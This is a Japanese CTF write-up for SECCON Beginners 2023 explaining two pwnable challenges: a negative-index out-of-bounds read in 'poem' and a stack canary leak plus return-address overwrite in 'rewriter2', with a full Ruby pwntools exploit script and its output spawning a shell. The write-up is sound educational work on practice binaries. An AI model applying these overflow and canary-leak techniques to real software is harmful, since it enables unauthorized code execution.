はじめに
SECCON Beginners 2023に参加しました。
pwnableの問題はpoemしか解けず、rewriter2がwin関数を呼び出しはできたがセグフォになり、悔しい思いをしました。
なので、poemをどのように解いたかと、rewriter2を他のWriteupを読み解き直したのでそれも書きます。
なお、webの問題のWriteupも投稿しているので見てもらえると嬉しいです。
[pwnable] poem
以下のソースコードとコンパイル済みバイナリが渡され、flag
変数の値を出力できればflagを獲得できる問題でした。
#include <stdio.h>
#include <unistd.h>
char *flag = "ctf4b{***CENSORED***}";
char *poem[] = {
"In the depths of silence, the universe speaks.",
"Raindrops dance on windows, nature's lullaby.",
"Time weaves stories with the threads of existence.",
"Hearts entwined, two souls become one symphony.",
"A single candle's glow can conquer the darkest room.",
};
int main() {
int n;
printf("Number[0-4]: ");
scanf("%d", &n);
if (n < 5) {
printf("%s\n", poem[n]);
}
return 0;
}
__attribute__((constructor)) void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(60);
}
動作としては入力されたインデックスの文字列を出力するものでした。
$ ./poem
Number[0-4]: 1
Raindrops dance on windows, nature's lullaby.
この入力には負数を入れることができるため、flag
のアドレスに調整してあげると良さそうとわかりました。
試しにobjdumpで逆アセンブルをして中身をみてみたところ、
$ objdump -D -M intel ./poem
(snip)
0000000000004020 <flag>:
4020: 08 20 or BYTE PTR [rax],ah
...
0000000000004040 <poem>:
4040: 20 20 and BYTE PTR [rax],ah
4042: 00 00 add BYTE PTR [rax],al
4044: 00 00 add BYTE PTR [rax],al
4046: 00 00 add BYTE PTR [rax],al
4048: 50 push rax
4049: 20 00 and BYTE PTR [rax],al
404b: 00 00 add BYTE PTR [rax],al
404d: 00 00 add BYTE PTR [rax],al
404f: 00 80 20 00 00 00 add BYTE PTR [rax+0x20],al
4055: 00 00 add BYTE PTR [rax],al
4057: 00 b8 20 00 00 00 add BYTE PTR [rax+0x20],bh
405d: 00 00 add BYTE PTR [rax],al
405f: 00 e8 add al,ch
4061: 20 00 and BYTE PTR [rax],al
4063: 00 00 add BYTE PTR [rax],al
4065: 00 00 add BYTE PTR [rax],al
...
(snip)
0x4040 - 0x4020 = 0x20
バイト分ずらしてあげると良さそうとわかりました。
ポインタ型のサイズが8バイトだったので-4
を入力してみると、、
$ nc poem.beginners.seccon.games 9000
Number[0-4]: -4
ctf4b{y0u_sh0uld_v3rify_the_int3g3r_v4lu3}
無事flagをゲットできました。
[pwnable] rewriter2
以下のソースコードとコンパイル済みバイナリが渡され、win
関数を呼び出すことができるとシェルを奪取でき、flagが見れるというものでした。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define BUF_SIZE 0x20
#define READ_SIZE 0x100
void __show_stack(void *stack);
int main() {
char buf[BUF_SIZE];
__show_stack(buf);
printf("What's your name? ");
read(0, buf, READ_SIZE);
printf("Hello, %s\n", buf);
__show_stack(buf);
printf("How old are you? ");
read(0, buf, READ_SIZE);
puts("Thank you!");
__show_stack(buf);
return 0;
}
void win() {
puts("Congratulations!");
system("/bin/sh");
}
void __show_stack(void *stack) {
unsigned long *ptr = stack;
printf("\n %-19s| %-19s\n", "[Addr]", "[Value]");
puts("====================+===================");
for (int i = 0; i < 10; i++) {
if (&ptr[i] == stack + BUF_SIZE + 0x8) {
printf(" 0x%016lx | xxxxx hidden xxxxx <- canary\n",
(unsigned long)&ptr[i]);
continue;
}
printf(" 0x%016lx | 0x%016lx ", (unsigned long)&ptr[i], ptr[i]);
if (&ptr[i] == stack)
printf(" <- buf");
if (&ptr[i] == stack + BUF_SIZE + 0x10)
printf(" <- saved rbp");
if (&ptr[i] == stack + BUF_SIZE + 0x18)
printf(" <- saved ret addr");
puts("");
}
puts("");
}
__attribute__((constructor)) void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(60);
}
実行例は以下です。
$ ./rewriter2
[Addr] | [Value]
====================+===================
0x00007fff27907bd0 | 0x0000000000000000 <- buf
0x00007fff27907bd8 | 0x00007f0f7bee65a0
0x00007fff27907be0 | 0x0000000000000000
0x00007fff27907be8 | 0x00007f0f7bd8c8c5
0x00007fff27907bf0 | 0x0000000000000000
0x00007fff27907bf8 | xxxxx hidden xxxxx <- canary
0x00007fff27907c00 | 0x0000000000000001 <- saved rbp
0x00007fff27907c08 | 0x00007f0f7bd30790 <- saved ret addr
0x00007fff27907c10 | 0x0000000000000000
0x00007fff27907c18 | 0x00000000004011f6
What's your name? aaaaaa
Hello, aaaaaa
[Addr] | [Value]
====================+===================
0x00007fff27907bd0 | 0x000a616161616161 <- buf
0x00007fff27907bd8 | 0x00007f0f7bee65a0
0x00007fff27907be0 | 0x0000000000000000
0x00007fff27907be8 | 0x00007f0f7bd8c8c5
0x00007fff27907bf0 | 0x0000000000000000
0x00007fff27907bf8 | xxxxx hidden xxxxx <- canary
0x00007fff27907c00 | 0x0000000000000001 <- saved rbp
0x00007fff27907c08 | 0x00007f0f7bd30790 <- saved ret addr
0x00007fff27907c10 | 0x0000000000000000
0x00007fff27907c18 | 0x00000000004011f6
How old are you? 1111
Thank you!
[Addr] | [Value]
====================+===================
0x00007fff27907bd0 | 0x000a610a31313131 <- buf
0x00007fff27907bd8 | 0x00007f0f7bee65a0
0x00007fff27907be0 | 0x0000000000000000
0x00007fff27907be8 | 0x00007f0f7bd8c8c5
0x00007fff27907bf0 | 0x0000000000000000
0x00007fff27907bf8 | xxxxx hidden xxxxx <- canary
0x00007fff27907c00 | 0x0000000000000001 <- saved rbp
0x00007fff27907c08 | 0x00007f0f7bd30790 <- saved ret addr
0x00007fff27907c10 | 0x0000000000000000
0x00007fff27907c18 | 0x00000000004011f6
バッファオーバーフローをしてあげると良さそうですが、実行結果にcanary
とある通りセキュリティ機構のSSP(Stack Smash Protection)が有効になっており、canaryを破壊せずにスタックを書き換えてあげる必要がありました。
そのため、
- canaryの値を書き換えずに
- retアドレスに
win
関数のアドレスを仕込む
であげると良さそうです。
今回の問題では2回ユーザーの入力を受け付け、出力してくれるので、
- 1回目
- canaryの値を取得する
- 2回目
- canaryの値を書き換えずに、
- retアドレスを
win
関数のアドレスに書き換える
でできそうです。
まず、canaryの値を取得するところですが、canaryの先頭1バイトは0x00
になっており、printf
などでcanaryが出力されてしまわないようになっています。
なので、8バイト * 5 + 1 = 41バイト
の入力をしてあげることでcanaryの値が出力で返ってきます。
次に、retアドレスをwin
関数のアドレスに書き換えるところですが、objdumpでwin
関数のアドレスを確認しました。
なお、他のWriteupを見てるとchecksec
でPIE(Position-Independent Executable)の部分を見てるようだったので、この方法はあまりよくなかったのかもしれません。
$ objdump -D -M intel ./rewriter2
(snip)
00000000004012c2 <win>:
4012c2: f3 0f 1e fa endbr64
4012c6: 55 push rbp
4012c7: 48 89 e5 mov rbp,rsp
4012ca: 48 8d 3d 72 0d 00 00 lea rdi,[rip+0xd72] # 402043 <_IO_stdin_used+0x43>
4012d1: e8 ca fd ff ff call 4010a0 <puts@plt>
4012d6: 48 8d 3d 77 0d 00 00 lea rdi,[rip+0xd77] # 402054 <_IO_stdin_used+0x54>
4012dd: e8 de fd ff ff call 4010c0 <system@plt>
4012e2: 90 nop
4012e3: 5d pop rbp
4012e4: c3 ret
(snip)
アドレスもわかったので、完璧だ!と思ったら、win
関数は呼ばれるけどセグフォになってしまい、解けずに終わってしまいました。
原因を探るためWriteupを読んでいると、
実はこのままだとsystem関数内のmovaps命令による例外で上手くsystem("/bin/sh")が実行されない。
このmovaps命令はスタックのサイズが0x10の倍数でアライメントされていない場合、例外を吐くようになっている。
(https://greentea-hoge.hatenablog.com/entry/2023/06/04/141014 より引用)
ということらしいです。
なので、適当なret
命令→win
関数のように飛ばしてあげるようにソルバを書き直してみました。
実際に書き直したソルバは以下です。
# frozen_string_literal: true
require('pwn')
context.log_level = :debug
io = case ARGV[0]
when 'r'
Pwnlib::Tubes::Sock.new('rewriter2.beginners.seccon.games', 9001)
else
Pwnlib::Tubes::Process.new('./rewriter2')
end
puts io.recvuntil("What's your name? ")
payload = 'a' * 0x8 * 5
payload += 'b'
io.send(payload)
puts io.recvuntil(payload)
canary_bytes = io.recvn(0x7).bytes
canary = [0x0, *canary_bytes].pack('C*')
puts io.recvuntil('How old are you? ')
payload = 'a' * 0x8 * 5
payload += canary
payload += 'a' * 0x8
payload += [0x401564].pack('q') # ret
payload += [0x4012c2].pack('q') # win
io.send(payload)
puts io.recvuntil('Congratulations!')
puts io.interact
そして、実行してみると、、
$ ruby solver.rb r
[Addr] | [Value]
====================+===================
0x00007fff26b59280 | 0x00007f50fcec72e8 <- buf
0x00007fff26b59288 | 0x00000000004014e0
0x00007fff26b59290 | 0x0000000000000000
0x00007fff26b59298 | 0x0000000000401110
0x00007fff26b592a0 | 0x00007fff26b593a0
0x00007fff26b592a8 | xxxxx hidden xxxxx <- canary
0x00007fff26b592b0 | 0x0000000000000000 <- saved rbp
0x00007fff26b592b8 | 0x00007f50fccfa083 <- saved ret addr
0x00007fff26b592c0 | 0x00007f50fcef9620
0x00007fff26b592c8 | 0x00007fff26b593a8
What's your name?
Hello, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaab
[Addr] | [Value]
====================+===================
0x00007fff26b59280 | 0x6161616161616161 <- buf
0x00007fff26b59288 | 0x6161616161616161
0x00007fff26b59290 | 0x6161616161616161
0x00007fff26b59298 | 0x6161616161616161
0x00007fff26b592a0 | 0x6161616161616161
0x00007fff26b592a8 | xxxxx hidden xxxxx <- canary
0x00007fff26b592b0 | 0x0000000000000000 <- saved rbp
0x00007fff26b592b8 | 0x00007f50fccfa083 <- saved ret addr
0x00007fff26b592c0 | 0x00007f50fcef9620
0x00007fff26b592c8 | 0x00007fff26b593a8
How old are you?
Thank you!
[Addr] | [Value]
====================+===================
0x00007fff26b59280 | 0x6161616161616161 <- buf
0x00007fff26b59288 | 0x6161616161616161
0x00007fff26b59290 | 0x6161616161616161
0x00007fff26b59298 | 0x6161616161616161
0x00007fff26b592a0 | 0x6161616161616161
0x00007fff26b592a8 | xxxxx hidden xxxxx <- canary
0x00007fff26b592b0 | 0x6161616161616161 <- saved rbp
0x00007fff26b592b8 | 0x0000000000401564 <- saved ret addr
0x00007fff26b592c0 | 0x00000000004012c2
0x00007fff26b592c8 | 0x00007fff26b593a8
Congratulations!
[INFO] Switching to interactive mode
> ls
chall
flag.txt
redir.sh
> cat flag.txt
ctf4b{y0u_c4n_l34k_c4n4ry_v4lu3}
ゲットできました!
さいごに
rewriter2はあと少しで解けそうな感じがしたので、来年似たような問題が出たら解けるようにがんばります。